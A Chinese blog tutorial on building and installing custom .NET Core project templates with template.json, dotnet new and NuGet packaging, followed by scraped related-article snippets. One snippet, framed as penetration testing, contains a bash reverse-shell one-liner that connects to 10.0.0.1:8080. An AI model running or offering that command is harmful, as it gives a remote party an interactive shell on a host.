使用 .NET CORE 创建 项目模板,模板项目,Template
场景:日常工作中,你可能会碰到需要新建一个全新的解决方案的情况(如公司新起了一个新项目,需要有全新配套的后台程序),如果公司内部基础框架较多、解决方案需要DDD模式等,那么从新起项目到各种依赖引用到能实际可用,一大堆的配置都需要重新设定、测试,耗时耗力,根据项目的大小,往往可能需要 1-2 小时甚至更久。
在 .net core 之前,虽然有相关的解决方法可以实现“项目模板”这个需求,但在具体操作时很不方便,从 .net core 1.0 开始,提供了“模板引擎”,增加了 dotnet new --install(-i) 命令和选项,通过该命令,可以让你方便的创建属于你自己的项目模板。
本文原始地址:https://blog.zhuliang.ltd/2019/07/net-core/custom-template-using-dotnetcore.html
通过本文你可以了解和掌握:
- 掌握如何将一个现有解决方案中的项目作为项目模板。
- 掌握如何在本地创建项目模板并安装和使用。
- 掌握如何将本地模板打包成 nuget 包,并通过包 id 进行安装使用该模板。
- 了解、掌握简单的 dotnet 和 nuget 命令及其配置。(windows 和 mac 会做差异说明)
准备工作
本次项目结构如下(DDD):
你可以在我的 github 库:https://github.com/ArtechChu/Template 直接下载该模板源码

- 用于发布的项目一共两个,Template.Console 和 Template.WebApi
- 其中 Console 项目就是简单的引用了下其他项目进行输出。
- WebApi 项目简单配置了下依赖注入,你可以将此项目作为 api 模板项目来说
Console 项目概要:

WebApi 项目概要:

将本地项目作为本地模板,通过命令进行安装和使用
本次示例以 Console 为例,将控制台项目涉及到的项目拷贝一份到如下文件夹中:

手动创建一个名为“.template.config”的文件夹,并在该文件夹内创建文件:template.json
{
"$schema": "http://json.schemastore.org/template",
"author": "Artech",
"classifications": [ "Console" ],
"name": "Custom Console",
"identity": "Custom Console", //模板唯一标识
"groupIdentity": "Custom Console",
"shortName": "CustomConsole", //【修改】短名称,使用 dotnet new <shortName> 安装模板时的名称
"tags": {
"language": "C#",
"type": "project"
},
"sourceName": "Template", //【修改】在使用 -n 选项时,会替换模板中项目的名字
"preferNameDirectory": true
}
- 这里主要说明下 shortName 和 sourceName 这 2 个属性。
- shortName:短名称,用于在使用“dotnet new -l”命令时显示,安装时也可直接根据该短名称进行安装。
- sourceName:当我们在使用"dotnet new" 命令进行安装时,如果指定了 -n 或者 -o 选项,那么选项后面的名字会自动替换 sourceName 中指定的名字,因为我们的项目命名规则是 "Template.XXXX",所以这里设定为“Template”,如果你的项目命名规则是“公司.项目.XXX”,那么这里请设定为“公司.项目”。
- 这里主要说明下 shortName 和 sourceName 这 2 个属性。
安装该模板到本地模板库
# 通过如下命令查看当前本机已安装模板:
dotnet new -l

# 模板安装命令:dotnet new i <path | nugetId>
# 这里因为是安装本地模板,直接使用路径(绝对和相对均可)
dotnet new -i .

安装该短名称为 CustomConsole 的模板
假定安装路径为 D:\TestTemplate
假定新起的项目名为“Company.Group”# 这里使用 -n 和 -o 选项来分别指定新项目的名字以及输出目录
# 设定新项目的名字为“Company.Group”,因为当前定位已经在 TestTemplate 文件夹内,所以直接用“.”,如下:
dotnet new CustomConsole -n Company.Group -o .

文件夹内容如下:

- 使用模板新建的项目文件夹自动为“Company.Group.XXXX”
测试:

更多关于 template.json 的说明请参考:http://json.schemastore.org/template
- 在 template.json 中,你还可以指定 symbols 等,来实现更多的自定义功能,如联动预编译指令等等。
将本地项目打包为 nuget 包,并通过命令进行安装和使用
本次示例以 Console +WebApi 为例,在 Templates\Nuget 文件夹中,建立 Content 文件夹用于存放 nuget 包内容,具体如下:

ConsoleTemplate 中的 .template.config\template.json 内容同上方 Console 示例。
WebApiTemplate 中的 .template.config\template.json 内容如下:
{
"$schema": "http://json.schemastore.org/template",
"author": "Artech",
"classifications": [ "WebApi" ],
"name": "Custom WebApi",
"identity": "Custom WebApi",
"groupIdentity": "Custom WebApi",
"shortName": "CustomWebApi",
"tags": {
"language": "C#",
"type": "project"
},
"sourceName": "Template",
"preferNameDirectory": true
}
在 content 目录内创建一个 nuspec 文件:Custom.Template.NetCore.nuspec,内容如下:
<?xml version="1.0" encoding="utf-8"?>
<package xmlns="http://schemas.microsoft.com/packaging/2012/06/nuspec.xsd">
<metadata>
<id>Custom.Template.NetCore</id>
<version>1.0.1</version>
<description>
Custom Template, including WebApi, Console
</description>
<authors>Artech</authors>
<packageTypes>
<packageType name="Template" />
</packageTypes>
</metadata>
</package>
- 需要注意,packageType 为 Template,metadata.id 必须保证唯一,其他按需设置即可。
- 必须是在 content 文件夹内。nuget 在打包的时候,是根据 content 文件夹来进行的。
使用 nuget pack 命令打包
# 注意路径的相对位置
nuget pack Custom.Template.NetCore.nuspec -OutputDirectory .

打包后的内容为:

发布该 nuget 包到 nuget server
这里用的是自建 nuget server,你可以按自身情况打包上传。

- 你可以直接使用 Nuget Package Explorer 进行发布包
- 也可以使用 nuget push 来发布,如下:
nuget push Custom.Template.NetCore.1.0.1.nupkg -Source "你的nuget 服务 url" -ApiKey "你的nuget api key"
通过 nuget 安装模板到本地
安装前本地已经安装的模板如下:

安装
dotnet new -i Custom.Template.NetCore::*

通过模板安装 CustomWebApi
安装路径为:D:\TestWebApiTemplate
dotnet new CustomWebApi -n Company.Group -o .
创建一个解决方案,并将所有的项目添加到解决方案 Company.Group.sln 中
dotnet new sln -n Company.Group
# windows 下无法使用 glob pattern 只能逐个添加
dotnet sln Company.Group.sln add Company.Group.Application\Company.Group.Application.csproj
dotnet sln Company.Group.sln add Company.Group.Domain\Company.Group.Domain.csproj
dotnet sln Company.Group.sln add Company.Group.DomainService\Company.Group.DomainService.csproj
dotnet sln Company.Group.sln add Company.Group.IApplication\Company.Group.IApplication.csproj
dotnet sln Company.Group.sln add Company.Group.IDomainService\Company.Group.IDomainService.csproj
dotnet sln Company.Group.sln add Company.Group.Infrastructure.CrossCutting\Company.Group.Infrastructure.CrossCutting.csproj
dotnet sln Company.Group.sln add Company.Group.Repository\Company.Group.Repository.csproj
dotnet sln Company.Group.sln add Company.Group.WebApi\Company.Group.WebApi.csproj

如果你用的是 mac / linux ,则可以直接用 globbing pattern 来添加,如下:
dotnet sln Company.Group.sln add **/*.csproj

参考
https://devblogs.microsoft.com/dotnet/how-to-create-your-own-templates-for-dotnet-new/
https://github.com/dotnet/dotnet-template-samples
https://docs.microsoft.com/en-us/dotnet/core/tools/dotnet-new?tabs=netcore22
https://docs.microsoft.com/en-us/nuget/install-nuget-client-tools
使用 .NET CORE 创建 项目模板,模板项目,Template的更多相关文章
- 使用 DotNet CLI 创建自定义的 WPF 项目模板
描述 当我们安装完 DotNetCore 3.0 版本的 SDK 后,我们就可以创建基于 DotNetCore 的 WPF 项目模板,通过如下 CLI 可以方便快捷的创建并运行我们的项目: dotne ...
- django之创建第4个项目编写第一个动态模板文件
修改的地方: 1.index.html <!DOCTYPE html> <html lang="en"> <head> <meta cha ...
- django之创建第3个项目:编写第一个模板文件
1.django结构 2.在站点blog下创建templates文件夹,专门用于存放模板文件 3.在templates文件夹下创建index.html文件 #index.html <!DOCTY ...
- dya49:django:wsgrief&模板渲染Jinjia2&django的MTV/MVC框架&创建/启动一个django项目
目录 1.自定义web框架wsgiref版 2.自定义web框架wsgiref版-优化版 3.模板渲染JinJa2 4.MTV和MVC框架 5.django:下载安装&创建启动 自定义web框 ...
- maven archetype生成自定义项目原型(模板)
maven archetype可以将一个项目做成项目原型,之后只需要以此原型来创建项目,那么初始创建的项目便具有原型项目中的一切配置和代码.通俗讲就是一个项目模板. eclipse中那些快速生成mav ...
- Sitecore CMS中更改项目的模板
如何在Sitecore CMS中创建项目后更改项目的模板. 在创建项目时选择了错误的模板,或者创建了新模板并将现有项目更新为新模板时,这非常有用. 警告! 更改模板时要小心.如果原始模板具有不在新 ...
- Django项目中模板标签及模板的继承与引用【网站中快速布置广告】
Django项目中模板标签及模板的继承与引用 常见模板标签 {% static %} {% for x in range(x) %}{% endfor %} 循环的序号{% forloop %} 循环 ...
- 通过例子进阶学习C++(七)CMake项目通过模板库实现约瑟夫环
本文是通过例子学习C++的第七篇,通过这个例子可以快速入门c++相关的语法. 1.问题描述 回顾一下约瑟夫环问题:n 个人围坐在一个圆桌周围,现在从第 s 个人开始报数,数到第 m 个人,让他出局:然 ...
- Maven用项目模板生成项目
Archetype插件是Maven生成项目的项目模板,项目模板就是一个框,把文件夹这些定好,然后就可以在上开写具体逻辑等等. 最常用的命令: mvn archetype:generate 这个是生成一 ...
随机推荐
- 快速掌握mongoDB(三)——mongoDB的索引详解
1 mongoDB索引的管理 本节介绍mongoDB中的索引,熟悉mysql/sqlserver等关系型数据库的小伙伴应该都知道索引对优化数据查询的重要性.我们先简单了解一下索引:索引的本质就是一个排 ...
- python中变量在内存中的存储与地址关系解析、浅度/深度copy、值传递、引用传递
---恢复内容开始--- 1.变量.地址 变量的实现方式有:引用语义.值语义 python语言中变量的实现方式就是引用语义,在变量里面保存的是值(对象)的引用(值所在处内存空间的地址).采用这种方式, ...
- javascript之正则表达式(一)
正则表达式:定义一套规则,检查字符串的用的.换句话说,就是记录文本规则的代码.适用于进行文字匹配工具,例如:(1)测试字符串的某个模式(2)替换文本(3)根据模式匹配从字符串中提取一个子字符串.语法: ...
- 比赛:小奔与不等四边形solution
题目: 题目背景 有这样一道经典的数学题:已知一个四边形的边长是四个连续的正整数,求证这个四边形的面积的最大值不为整数.小奔轻松地证明了这个问题,现在问题来了,大奔要求小奔以最快的速度算出给定边长的四 ...
- C#中用WMI实现对驱动的查询
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; usin ...
- linux几种方式来弹哥shell
渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ...
- 2019年7月19日 - LeetCode0001
https://leetcode-cn.com/problems/two-sum/ 我的方法: class Solution { public int[] twoSum(int[] nums, int ...
- 原 docker 安装使用 solr
1.安装solr 7.5 docker solr 官网:https://hub.docker.com/_/solr/ docker pull solr:7.5.0 2.启动solr服务 docker ...
- linux初学者-输出输入管理
1.输出重定向 在linux中,因为用户的权限不同,所以访问某些文件或者目录会被拒绝而形成错误输出,这些错误的输出也会显示出来.一般正确输出的编号为1,错误输出的编号为2.如下图,在普通用户stu ...
- difflib python
difflib -帮助进行差异化比较 这个模块提供的类和方法用来进行差异化比较,它能够生成文本或者html格式的差异化比较结果,如果需要比较目录的不同,可以使用filecmp模块. 例子: # -*- ...